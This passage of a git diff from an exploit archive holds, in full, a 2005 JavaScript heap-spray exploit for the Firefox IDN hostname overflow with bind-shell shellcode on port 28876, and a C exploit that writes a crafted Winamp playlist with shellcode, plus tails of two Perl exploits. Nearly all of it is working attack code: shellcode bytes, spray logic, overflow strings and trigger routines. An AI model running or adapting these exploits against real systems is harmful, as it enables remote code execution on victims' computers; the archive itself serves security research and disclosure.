-	modern heap managers, I ignore them and try to overwrite data in the
-	heap blocks after the block we overrun. It's a game of chance where we
-	hope the targetted browser will use this overwritten data in a call before
-	it throws an access violation. We have some control over the odds, more
-	on that later.
-
-	Exploitation is achieved by using the same old heap blocks trick that I've
-	published about a year ago in my Internet Exploiter exploits. It creates a
-	string that contains a nopslide and a shellcode. This string is (almost)
-	exactly large enough to fit into a large heap block. It makes copies
-	of the string to create more large heap blocks. These heap blocks will fill
-	all memory between roughly 0x02000000 and 0x28081976. The nopslide consists
-	of values that can be used as code and pointers; these pointers will all
-	point to addresses in this same region of memory.
-	The actually vulnerability is used when it creates a number of image
-	objects and set their "src" to a url that exploits it to overwrite random
-	parts of heap memory with a range of addresses that all point to the large
-	heap blocks.
-	While it continues to create more and more images, chances are that some
-	part of FireFox will use the overwritten parts of the heap in a "call" or
-	"jmp". This will cause our shellcode to get executed.
-
-	Previous exploits have all relied on one address being used in the nopslide
-	and in exploiting the vulnerability to overwrite EIP, that's why you see
-	0x0D0D0D0D in so many of my exploits and other exploits based on my code.
-	Because in previous exploits the vulnerable code would just read from this
-	address and/or call it, this worked pretty well.
-	This exploit is overwriting random parts of the heap and may therefore
-	overwrite a number of pointers that may be used in a write operation.
-	This causes a problem if some part of the code writes to one of our
-	addresses first and then another part calls it, thereby executing
-	whatever value the first part overwrote it with as assembly. This may
-	translate to instructions that cause exceptions, preventing the exploit
-	from working. To increase our chances of success, we supply it with a
-	variety of addresses, in an effort to make different parts of the
-	program use different addresses and hope we end up with executing a
-	"clean" nopslide.
-
-	For Netscape, addresses < 0x10000000 have proven to not work because it
-	has a tendency to add random blocks to the heap while we're spraying
-	(for no apparent reason). These somehow always end up exactly where we
-	don't want them.
-
-*/
-    var startDate = new Date();
-	var iFillToAddress = 0x28081976;
-    var iHeapBlockSize = 0x00200000;
-	var iHeapHeaderSize = 0x40; // This should work for all browsers/OS-es.
-    var iHeapStartAddress = 0x00420000;
-    // The %uXXXX encoding proved hard for a lot of people... damn n00bs!
-	var sShellcodeBytes = // Make sure the number of bytes is EVEN!
-		"90 90 90 90 eb 43 56 57 8b 45 3c 8b 54 05 78 01 ea 52 8b 52 20 01 " +
-		"ea 31 c0 31 c9 41 8b 34 8a 01 ee 31 ff c1 cf 13 ac 01 c7 85 c0 75 " +
-		"f6 39 df 75 ea 5a 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04 " +
-		"8b 01 e8 5f 5e ff e0 fc 31 c0 64 8b 40 30 8b 40 0c 8b 70 1c ad 8b " +
-		"68 08 31 c0 66 b8 6c 6c 50 68 33 32 2e 64 68 77 73 32 5f 54 bb 71 " +
-		"a7 e8 fe e8 90 ff ff ff 89 ef 89 c5 81 c4 70 fe ff ff 54 31 c0 fe " +
-		"c4 40 50 bb 22 7d ab 7d e8 75 ff ff ff 31 c0 50 50 50 50 40 50 40 " +
-		"50 bb a6 55 34 79 e8 61 ff ff ff 89 c6 31 c0 50 50 35 02 01 70 cc " +
-		"fe cc 50 89 e0 50 6a 10 50 56 bb 81 b4 2c be e8 42 ff ff ff 31 c0 " +
-		"50 56 bb d3 fa 58 9b e8 34 ff ff ff 58 60 6a 10 54 50 56 bb 47 f3 " +
-		"56 c6 e8 23 ff ff ff 89 c6 31 db 53 68 2e 63 6d 64 89 e1 41 31 db " +
-		"56 56 56 53 53 31 c0 fe c4 40 50 53 53 53 53 53 53 53 53 53 53 6a " +
-		"44 89 e0 53 53 53 53 54 50 53 53 53 43 53 4b 53 53 51 53 87 fd bb " +
-		"21 d0 05 d0 e8 df fe ff ff 5b 31 c0 48 50 53 bb 43 cb 8d 5f e8 cf " +
-		"fe ff ff 56 87 ef bb 12 6b 6d d0 e8 c2 fe ff ff 83 c4 5c 61 eb 89 ";
-	var sShellcode = unescape(
-		sShellcodeBytes.replace(
-			// ...I now use regular expressions (thanks, Secunia! :P)
-			/\s*([0-9A-Fa-f][0-9A-Fa-f])\s*([0-9A-Fa-f][0-9A-Fa-f])/g,
-			"%u$2$1"
-		)
-	);
-
-	// Experimenting with a debugger has let to this string, which uses the max
-	// hostname length FireFox allows (63 bytes) to create the largest
-	// overwrite possible. Each of the 0xAD-s gets expanded into two bytes, 
-	// which in theory would allow for a 126 bytes overwrite. But in practise
-	// FireFox will use 32 of these bytes for other things like the "http://",
-	// '/', '\0' and some other stuff. This leaves us with 94 bytes and a \0 to
-	// overwrite heap memory with.
-	var sURL = unescape(
-		"http://" +
-		"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
-		"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
-		"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
-		"/" +
-		// Characters under 0x21 cannot be used, neither can 0x22. This
-		// is what we overwrite the heap with, so everything needs to be a
-		// pointer to one of our nopslides.
-		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
-		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
-		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
-		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
-		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
-		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23"
-	);
-    // Create one nopslide -------------------------------------------------
-    var sNopslide = "";
-    var iNopslideSize = iHeapBlockSize - iHeapHeaderSize 
-   					  - sShellcode.length * 2 - 2; // NULL terminator adds 2
-    var sAllWorkAndNoPlayMakesJackADullBoy = unescape(
-    	// A list of addresses we hope our browser will use in a call or jmp.
-    	// They should all point to a nopslide, preferably all to a different
-    	// one _and_ be valid "nop" instructions too.
-		"%u1414%u1415%u141C%u141D%u1514%u1515%u151C%u151D" +
-		"%u1C14%u1C15%u1C1C%u1C1D%u1D14%u1D15%u1D1C%u1D1D"
-	);
-    // (Make sure that ^^^ has a length that is a power of 2 (2, 4, 8 ,16, ...)
-    // The code below isn't sophisticated enough to handled other lengths.
-    for (var bit = Math.pow(2, 31); bit > 1; bit /= 2) {
-        sNopslide += sNopslide + (
-        	iNopslideSize & (bit*sAllWorkAndNoPlayMakesJackADullBoy.length) ?
-        	sAllWorkAndNoPlayMakesJackADullBoy : ""
-        );
-    }
-    // We've only made complete copies of the string, we may need a part of it
-    // to make it exactly the size we want it to be:
-    sNopslide = sNopslide + sAllWorkAndNoPlayMakesJackADullBoy.substr(0,
-    	iNopslideSize/2 - sNopslide.length
-    );
-    // How many blocks do we need to fill memory up to iHeap_fill_to_address?
-    var iHeapBlockCount = Math.ceil(
-    	(iFillToAddress - iHeapStartAddress) / iHeapBlockSize
-    );
-
-    // Show copyright message and some stats ----------------------------------
-    document.write(
-    	"<H2>Pwnzilla</H2>" +
-    	"<B>Copyright (C) 2003-2005 Berend-Jan \"SkyLined\" Wever.</B><BR>" +
-		"This program is released under the GNU Public License version 2, " +
-		"1991 and comes with ABSOLUTELY NO WARRANTY. View source for " +
-		"details.<HR>" +
-    	"<H2>Multi threaded heap spray 2005</H2>" +
-		"Assumed heap header size: " + number(iHeapHeaderSize) + " bytes.<BR>"+
-    	"Nopslide size: " + number(sNopslide.length*2) + " bytes.<BR>" +
-		"Shellcode size: " + number(sShellcode.length*2) + " bytes.<BR>" +
-    	"Heap blocks size: " + number(iHeapBlockSize) + " bytes.<BR>" +
-		"<SPAN id=\"heapBlockStatus\">" +
-        	"Allocating " +  number(iHeapBlockCount) + " heap blocks...<BR>" +
-			"<DIV style=\"border:1px solid black; background:#808080; " +
-			"width:500px;\"><DIV style=\"text-align:right; " +
-			"border-right:1px solid black; background:#00FF00;\" " +
-			"id=\"progressBar\">0</DIV></DIV>" +
-		"</SPAN>" +
-		"<SPAN id=\"exploitStatus\"></SPAN>"
-	);
-    var heapBlockStatusElement = document.getElementById("heapBlockStatus");
-	var progressBarElement = document.getElementById("progressBar");
-	var exploitStatusElement = document.getElementById("exploitStatus");
-
-    var asHeapBlocks = new Array();
-
-	// The next part uses timeouts to run in the background.
-    createHeapBlock();
-    function createHeapBlock() {
-    	if (asHeapBlocks.length < iHeapBlockCount) {
-		    // Create a heap block --------------------------------------------
-	        asHeapBlocks.push(sNopslide + '' + sShellcode);
-	        var percentageDone = Math.round(
-	        	100*asHeapBlocks.length/iHeapBlockCount
-	        );
-			progressBarElement.innerHTML = 
-				"<NOBR>" +
-					bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
-				"</NOBR>";
-			progressBarElement.style.width = percentageDone + "%";
-			setTimeout(arguments.callee, 10);
-		} else {
-		    // Done creating heap blocks --------------------------------------
-		    // Show stats
-	        heapBlockStatusElement.innerHTML = 
-		    	"Heap blocks count: " + asHeapBlocks.length + ".<BR>" +
-		    	"Total heap consumption: " + 
-		    		bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
-		    		".<BR>" +
-				"Elapsed time: " + 
-					time(new Date() - startDate) + ".<HR>" +
-		    	"<H2>Exploit</H2>" +
-		    	"Attack URL (size: " +
-		    		number(sURL.length*2) + " bytes):<BR>" +
-		    	"&quot;" + escape(sURL) + "&quot;<BR><BR>";
-		    //  Ask if you want to get pwned
-		    exploitStatusElement.innerHTML =
-				"<BUTTON onclick=\"FiredFox();\">" +
-					"Click here if you want to run the actual exploit" +
-				"</BUTTON>";
-		}
-	} // createHeapBlock()
-	function FiredFox() {
-		exploitStatusElement.innerHTML =
-			"Running exploit code...<BR>" +
-			"(It may take some time before the exploit works. You should " +
-			"see a progress bar below. If it stops, it either worked and a " +
-			"shell is waiting for you at port 28876 or your browser has " +
-			"gone into an infinite loop).<BR>";
-		setInterval(function() {
-			var oElement = new Image();
-			oElement.src = sURL+""; // This is where we abuse the flaw.
-			oElement.border = 1;
-			oElement.width = 1;
-			oElement.height = 10;
-			document.body.appendChild(oElement);
-		}, 1);		
-	} // FiredFox()
-
-	function number(iValue) {
-		// Returns a "pretty" string representation of a number:
-		//		number(1000000.5) == "1,000,000.5"
-		var sResult = "" + iValue;
-		
-		for (var sResult = ""; iValue > 0; iValue = Math.floor(iValue/1000)) {
-			sResult = (iValue % 1000) +
-				(sResult.length > 0 ? "," + sResult : "");
-			if (iValue > 1000 && sResult.length % 4 < 3)
-				sResult = "0" + sResult;
-		}
-		return sResult;
-	} // number()
-
-	function bytes(iValue) {
-		// Returns a "pretty" string representation of a number of bytes:
-		//		bytes(1000000.5) == "976.57 KB"
-		var aUnits = new Array(
-    		"Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"
-	    );
-	    for (var i = 0; iValue > 1024; i++, iValue /= 1024) {}
-	    sResult =  number(Math.ceil(iValue * 100) / 100) + // Two decimals
-	    	" " + aUnits[i]
-		return sResult;
-	}// bytes()
-	function time(iValue) {
-		// Returns a "pretty" string representation of an elapsed number of
-		// milliseconds:	
-		//		time(1000000.5) == "16m 40s 1µs"
-		var aUnits = new Array(
-			new Array(1000,	unescape("%u03BCs")),
-			new Array(60,	"s"),
-			new Array(60,	"m"),
-			new Array(24,	"h"),
-			new Array(7,	"d"),
-			new Array(52,	"y")
-		);
-		sResult = "";
-		
-		for(var i=0; iValue > 0 && i<aUnits.length; i++) {
-			var iSize = aUnits[i][0], sUnit = aUnits[i][1];
-			sResult = Math.round(iValue % iSize) + sUnit +
-				(i>0 ? " " : "") + sResult;
-    		iValue = Math.floor(iValue / iSize);
-    	}
-    	return sResult;
-	} // time()
-</SCRIPT></HTML>
-
-# milw0rm.com [2005-09-22]
+<HTML><SCRIPT>
+/*
+_______________________________________________________________________________
+                                                                               
+     SSSSSSS,  SSSSSSS' PwnZilla 5 - One sploit fits all. (FireFox optimized)  
+    iSY   iS;    .sS*   Exploit for IDN host name heap buffer overrun in       
+   .SSSSSSS*   .sS*     Mozilla browsers (FireFox, Mozilla and Netscape)       
+   iS;       .sS*       Copyright (C) 2003-2005 by Berend-Jan Wever.           
+  .SS       sSSSSSSP    <berendjanwever@gmail.com>                             
+_______________________________________________________________________________
+          Official release: http://www.milw0rm.com/id.php?id=1224              
+
+  This program is free software; you can redistribute it and/or modify it under
+  the terms of the GNU General Public License version 2, 1991 as published by
+  the Free Software Foundation.
+
+  This program is distributed in the hope that it will be useful, but WITHOUT
+  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+  FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+  details.
+
+  A copy of the GNU General Public License can be found at:
+    http://www.gnu.org/licenses/gpl.html
+  or you can write to:
+    Free Software Foundation, Inc.
+    59 Temple Place - Suite 330
+    Boston, MA  02111-1307
+    USA.
+
+	One sploit to rule them all, One sploit to find them,
+	One sploit to bring them all and to port 28876 bind them.
+
+	Credits and thanks:
+	Tom Ferris/www.security-protocols.com - For finding the vulnerability.
+	Aviv Raff - Thanks for helping me advance the heap spray technology.
+	str0ke/www.milw0rm.com - Thanks for testing and hosting the exploit.
+	HDM/www.metasploit.com - Thanks for the basis of my shellcode.
+
+	Technical details:
+	Since Netscape has not replied to reports about this vulnerability I've
+	chosen to release it. Since there is no patch out yet, this version does
+	not target all affected browsers. It is optimized to work with FireFox, who
+	do have a patch out, but on a rare occasion it will work in Netscape.
+
+	This exploits a heap overrun. Rather then trying to beat the security of
+	modern heap managers, I ignore them and try to overwrite data in the
+	heap blocks after the block we overrun. It's a game of chance where we
+	hope the targetted browser will use this overwritten data in a call before
+	it throws an access violation. We have some control over the odds, more
+	on that later.
+
+	Exploitation is achieved by using the same old heap blocks trick that I've
+	published about a year ago in my Internet Exploiter exploits. It creates a
+	string that contains a nopslide and a shellcode. This string is (almost)
+	exactly large enough to fit into a large heap block. It makes copies
+	of the string to create more large heap blocks. These heap blocks will fill
+	all memory between roughly 0x02000000 and 0x28081976. The nopslide consists
+	of values that can be used as code and pointers; these pointers will all
+	point to addresses in this same region of memory.
+	The actually vulnerability is used when it creates a number of image
+	objects and set their "src" to a url that exploits it to overwrite random
+	parts of heap memory with a range of addresses that all point to the large
+	heap blocks.
+	While it continues to create more and more images, chances are that some
+	part of FireFox will use the overwritten parts of the heap in a "call" or
+	"jmp". This will cause our shellcode to get executed.
+
+	Previous exploits have all relied on one address being used in the nopslide
+	and in exploiting the vulnerability to overwrite EIP, that's why you see
+	0x0D0D0D0D in so many of my exploits and other exploits based on my code.
+	Because in previous exploits the vulnerable code would just read from this
+	address and/or call it, this worked pretty well.
+	This exploit is overwriting random parts of the heap and may therefore
+	overwrite a number of pointers that may be used in a write operation.
+	This causes a problem if some part of the code writes to one of our
+	addresses first and then another part calls it, thereby executing
+	whatever value the first part overwrote it with as assembly. This may
+	translate to instructions that cause exceptions, preventing the exploit
+	from working. To increase our chances of success, we supply it with a
+	variety of addresses, in an effort to make different parts of the
+	program use different addresses and hope we end up with executing a
+	"clean" nopslide.
+
+	For Netscape, addresses < 0x10000000 have proven to not work because it
+	has a tendency to add random blocks to the heap while we're spraying
+	(for no apparent reason). These somehow always end up exactly where we
+	don't want them.
+
+*/
+    var startDate = new Date();
+	var iFillToAddress = 0x28081976;
+    var iHeapBlockSize = 0x00200000;
+	var iHeapHeaderSize = 0x40; // This should work for all browsers/OS-es.
+    var iHeapStartAddress = 0x00420000;
+    // The %uXXXX encoding proved hard for a lot of people... damn n00bs!
+	var sShellcodeBytes = // Make sure the number of bytes is EVEN!
+		"90 90 90 90 eb 43 56 57 8b 45 3c 8b 54 05 78 01 ea 52 8b 52 20 01 " +
+		"ea 31 c0 31 c9 41 8b 34 8a 01 ee 31 ff c1 cf 13 ac 01 c7 85 c0 75 " +
+		"f6 39 df 75 ea 5a 8b 5a 24 01 eb 66 8b 0c 4b 8b 5a 1c 01 eb 8b 04 " +
+		"8b 01 e8 5f 5e ff e0 fc 31 c0 64 8b 40 30 8b 40 0c 8b 70 1c ad 8b " +
+		"68 08 31 c0 66 b8 6c 6c 50 68 33 32 2e 64 68 77 73 32 5f 54 bb 71 " +
+		"a7 e8 fe e8 90 ff ff ff 89 ef 89 c5 81 c4 70 fe ff ff 54 31 c0 fe " +
+		"c4 40 50 bb 22 7d ab 7d e8 75 ff ff ff 31 c0 50 50 50 50 40 50 40 " +
+		"50 bb a6 55 34 79 e8 61 ff ff ff 89 c6 31 c0 50 50 35 02 01 70 cc " +
+		"fe cc 50 89 e0 50 6a 10 50 56 bb 81 b4 2c be e8 42 ff ff ff 31 c0 " +
+		"50 56 bb d3 fa 58 9b e8 34 ff ff ff 58 60 6a 10 54 50 56 bb 47 f3 " +
+		"56 c6 e8 23 ff ff ff 89 c6 31 db 53 68 2e 63 6d 64 89 e1 41 31 db " +
+		"56 56 56 53 53 31 c0 fe c4 40 50 53 53 53 53 53 53 53 53 53 53 6a " +
+		"44 89 e0 53 53 53 53 54 50 53 53 53 43 53 4b 53 53 51 53 87 fd bb " +
+		"21 d0 05 d0 e8 df fe ff ff 5b 31 c0 48 50 53 bb 43 cb 8d 5f e8 cf " +
+		"fe ff ff 56 87 ef bb 12 6b 6d d0 e8 c2 fe ff ff 83 c4 5c 61 eb 89 ";
+	var sShellcode = unescape(
+		sShellcodeBytes.replace(
+			// ...I now use regular expressions (thanks, Secunia! :P)
+			/\s*([0-9A-Fa-f][0-9A-Fa-f])\s*([0-9A-Fa-f][0-9A-Fa-f])/g,
+			"%u$2$1"
+		)
+	);
+
+	// Experimenting with a debugger has let to this string, which uses the max
+	// hostname length FireFox allows (63 bytes) to create the largest
+	// overwrite possible. Each of the 0xAD-s gets expanded into two bytes, 
+	// which in theory would allow for a 126 bytes overwrite. But in practise
+	// FireFox will use 32 of these bytes for other things like the "http://",
+	// '/', '\0' and some other stuff. This leaves us with 94 bytes and a \0 to
+	// overwrite heap memory with.
+	var sURL = unescape(
+		"http://" +
+		"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
+		"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
+		"%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD%AD" +
+		"/" +
+		// Characters under 0x21 cannot be used, neither can 0x22. This
+		// is what we overwrite the heap with, so everything needs to be a
+		// pointer to one of our nopslides.
+		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
+		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
+		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
+		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
+		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23%24%24" +
+		"%21%21%25%21%23%21%24%25%25%23%25%24%23%23"
+	);
+    // Create one nopslide -------------------------------------------------
+    var sNopslide = "";
+    var iNopslideSize = iHeapBlockSize - iHeapHeaderSize 
+   					  - sShellcode.length * 2 - 2; // NULL terminator adds 2
+    var sAllWorkAndNoPlayMakesJackADullBoy = unescape(
+    	// A list of addresses we hope our browser will use in a call or jmp.
+    	// They should all point to a nopslide, preferably all to a different
+    	// one _and_ be valid "nop" instructions too.
+		"%u1414%u1415%u141C%u141D%u1514%u1515%u151C%u151D" +
+		"%u1C14%u1C15%u1C1C%u1C1D%u1D14%u1D15%u1D1C%u1D1D"
+	);
+    // (Make sure that ^^^ has a length that is a power of 2 (2, 4, 8 ,16, ...)
+    // The code below isn't sophisticated enough to handled other lengths.
+    for (var bit = Math.pow(2, 31); bit > 1; bit /= 2) {
+        sNopslide += sNopslide + (
+        	iNopslideSize & (bit*sAllWorkAndNoPlayMakesJackADullBoy.length) ?
+        	sAllWorkAndNoPlayMakesJackADullBoy : ""
+        );
+    }
+    // We've only made complete copies of the string, we may need a part of it
+    // to make it exactly the size we want it to be:
+    sNopslide = sNopslide + sAllWorkAndNoPlayMakesJackADullBoy.substr(0,
+    	iNopslideSize/2 - sNopslide.length
+    );
+    // How many blocks do we need to fill memory up to iHeap_fill_to_address?
+    var iHeapBlockCount = Math.ceil(
+    	(iFillToAddress - iHeapStartAddress) / iHeapBlockSize
+    );
+
+    // Show copyright message and some stats ----------------------------------
+    document.write(
+    	"<H2>Pwnzilla</H2>" +
+    	"<B>Copyright (C) 2003-2005 Berend-Jan \"SkyLined\" Wever.</B><BR>" +
+		"This program is released under the GNU Public License version 2, " +
+		"1991 and comes with ABSOLUTELY NO WARRANTY. View source for " +
+		"details.<HR>" +
+    	"<H2>Multi threaded heap spray 2005</H2>" +
+		"Assumed heap header size: " + number(iHeapHeaderSize) + " bytes.<BR>"+
+    	"Nopslide size: " + number(sNopslide.length*2) + " bytes.<BR>" +
+		"Shellcode size: " + number(sShellcode.length*2) + " bytes.<BR>" +
+    	"Heap blocks size: " + number(iHeapBlockSize) + " bytes.<BR>" +
+		"<SPAN id=\"heapBlockStatus\">" +
+        	"Allocating " +  number(iHeapBlockCount) + " heap blocks...<BR>" +
+			"<DIV style=\"border:1px solid black; background:#808080; " +
+			"width:500px;\"><DIV style=\"text-align:right; " +
+			"border-right:1px solid black; background:#00FF00;\" " +
+			"id=\"progressBar\">0</DIV></DIV>" +
+		"</SPAN>" +
+		"<SPAN id=\"exploitStatus\"></SPAN>"
+	);
+    var heapBlockStatusElement = document.getElementById("heapBlockStatus");
+	var progressBarElement = document.getElementById("progressBar");
+	var exploitStatusElement = document.getElementById("exploitStatus");
+
+    var asHeapBlocks = new Array();
+
+	// The next part uses timeouts to run in the background.
+    createHeapBlock();
+    function createHeapBlock() {
+    	if (asHeapBlocks.length < iHeapBlockCount) {
+		    // Create a heap block --------------------------------------------
+	        asHeapBlocks.push(sNopslide + '' + sShellcode);
+	        var percentageDone = Math.round(
+	        	100*asHeapBlocks.length/iHeapBlockCount
+	        );
+			progressBarElement.innerHTML = 
+				"<NOBR>" +
+					bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
+				"</NOBR>";
+			progressBarElement.style.width = percentageDone + "%";
+			setTimeout(arguments.callee, 10);
+		} else {
+		    // Done creating heap blocks --------------------------------------
+		    // Show stats
+	        heapBlockStatusElement.innerHTML = 
+		    	"Heap blocks count: " + asHeapBlocks.length + ".<BR>" +
+		    	"Total heap consumption: " + 
+		    		bytes(asHeapBlocks.length*asHeapBlocks[0].length*2) +
+		    		".<BR>" +
+				"Elapsed time: " + 
+					time(new Date() - startDate) + ".<HR>" +
+		    	"<H2>Exploit</H2>" +
+		    	"Attack URL (size: " +
+		    		number(sURL.length*2) + " bytes):<BR>" +
+		    	"&quot;" + escape(sURL) + "&quot;<BR><BR>";
+		    //  Ask if you want to get pwned
+		    exploitStatusElement.innerHTML =
+				"<BUTTON onclick=\"FiredFox();\">" +
+					"Click here if you want to run the actual exploit" +
+				"</BUTTON>";
+		}
+	} // createHeapBlock()
+	function FiredFox() {
+		exploitStatusElement.innerHTML =
+			"Running exploit code...<BR>" +
+			"(It may take some time before the exploit works. You should " +
+			"see a progress bar below. If it stops, it either worked and a " +
+			"shell is waiting for you at port 28876 or your browser has " +
+			"gone into an infinite loop).<BR>";
+		setInterval(function() {
+			var oElement = new Image();
+			oElement.src = sURL+""; // This is where we abuse the flaw.
+			oElement.border = 1;
+			oElement.width = 1;
+			oElement.height = 10;
+			document.body.appendChild(oElement);
+		}, 1);		
+	} // FiredFox()
+
+	function number(iValue) {
+		// Returns a "pretty" string representation of a number:
+		//		number(1000000.5) == "1,000,000.5"
+		var sResult = "" + iValue;
+		
+		for (var sResult = ""; iValue > 0; iValue = Math.floor(iValue/1000)) {
+			sResult = (iValue % 1000) +
+				(sResult.length > 0 ? "," + sResult : "");
+			if (iValue > 1000 && sResult.length % 4 < 3)
+				sResult = "0" + sResult;
+		}
+		return sResult;
+	} // number()
+
+	function bytes(iValue) {
+		// Returns a "pretty" string representation of a number of bytes:
+		//		bytes(1000000.5) == "976.57 KB"
+		var aUnits = new Array(
+    		"Bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"
+	    );
+	    for (var i = 0; iValue > 1024; i++, iValue /= 1024) {}
+	    sResult =  number(Math.ceil(iValue * 100) / 100) + // Two decimals
+	    	" " + aUnits[i]
+		return sResult;
+	}// bytes()
+	function time(iValue) {
+		// Returns a "pretty" string representation of an elapsed number of
+		// milliseconds:	
+		//		time(1000000.5) == "16m 40s 1µs"
+		var aUnits = new Array(
+			new Array(1000,	unescape("%u03BCs")),
+			new Array(60,	"s"),
+			new Array(60,	"m"),
+			new Array(24,	"h"),
+			new Array(7,	"d"),
+			new Array(52,	"y")
+		);
+		sResult = "";
+		
+		for(var i=0; iValue > 0 && i<aUnits.length; i++) {
+			var iSize = aUnits[i][0], sUnit = aUnits[i][1];
+			sResult = Math.round(iValue % iSize) + sUnit +
+				(i>0 ? " " : "") + sResult;
+    		iValue = Math.floor(iValue / iSize);
+    	}
+    	return sResult;
+	} // time()
+</SCRIPT></HTML>
+
+# milw0rm.com [2005-09-22]
diff --git a/platforms/windows/remote/127.pl b/platforms/windows/remote/127.pl
index 34251c8a3..61741f126 100755
--- a/platforms/windows/remote/127.pl
+++ b/platforms/windows/remote/127.pl
@@ -106,6 +106,6 @@ undef($ccon);
 }
 print("[*] server closed.\n");
 $daemon->close();
-undef($daemon);
-
-# milw0rm.com [2003-11-22]
+undef($daemon);
+
+# milw0rm.com [2003-11-22]
diff --git a/platforms/windows/remote/133.pl b/platforms/windows/remote/133.pl
index 6b7d31802..14cf523a9 100755
--- a/platforms/windows/remote/133.pl
+++ b/platforms/windows/remote/133.pl
@@ -241,6 +241,6 @@ exit;
 #-----------------------------------------------
 
 
-
-
-# milw0rm.com [2003-12-15]
+
+
+# milw0rm.com [2003-12-15]
diff --git a/platforms/windows/remote/1458.cpp b/platforms/windows/remote/1458.cpp
index e04a07baa..dd36945c5 100755
--- a/platforms/windows/remote/1458.cpp
+++ b/platforms/windows/remote/1458.cpp
@@ -1,91 +1,91 @@
-/*
-*
-* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
-* Bug discovered & exploit coded by ATmaCA
-* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
-* E-Mail: atmaca@icqmail.com
-* Credit to Kozan
-*
-*/
-
-/*
-*
-* Tested with :
-* Winamp 5.12 on Win XP Pro Sp2
-*
-*/
-
-/*
-* Usage:
-*
-* Execute exploit, it will create "crafted.pls" in current directory.
-* Duble click the file, or single click right and then select "open".
-* And Winamp will launch a Calculator (calc.exe)
-*
-*/
-
-/*
-*
-* For to use it remotly,
-* make a html page containing an iframe linking to the .pls file.
-*
-* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
-*
-*/
-
-#include <windows.h>
-#include <stdio.h>
-
-#define BUF_LEN         0x045D
-#define PLAYLIST_FILE   "crafted.pls"
-
-char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
-char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";
-
-// Jump to shellcode
-char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";
-
-// Harmless Calc.exe
-char shellcode[] =
-        "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
-        "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
-	"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
-	"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
-	"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
-        "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
-	"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
-	"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
-	"\x61\xdd\x0e\x4d";
-
-
-int main(int argc,char *argv[])
-{
-        printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
-        printf("\nBug discovered & exploit coded by ATmaCA");
-        printf("\nWeb: http://www.spyinstructors.com  && http://www.atmacasoft.com");
-        printf("\nE-Mail: atmaca@icqmail.com");
-        printf("\nCredit to Kozan");
-
-        FILE *File;
-        char *pszBuffer;
-
-        if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
-                printf("\n [Err:] fopen()");
-                exit(1);
-        }
-
-        pszBuffer = (char*)malloc(BUF_LEN);
-        memset(pszBuffer,0x90,BUF_LEN);
-        memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
-        memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
-        memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
-        memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
-
-        fwrite(pszBuffer, BUF_LEN, 1,File);
-        fclose(File);
-
-        printf("\n\n"  PLAYLIST_FILE  " has been created in the current directory.\n");
-        return 1;
-}
-
-// milw0rm.com [2006-01-29]
+/*
+*
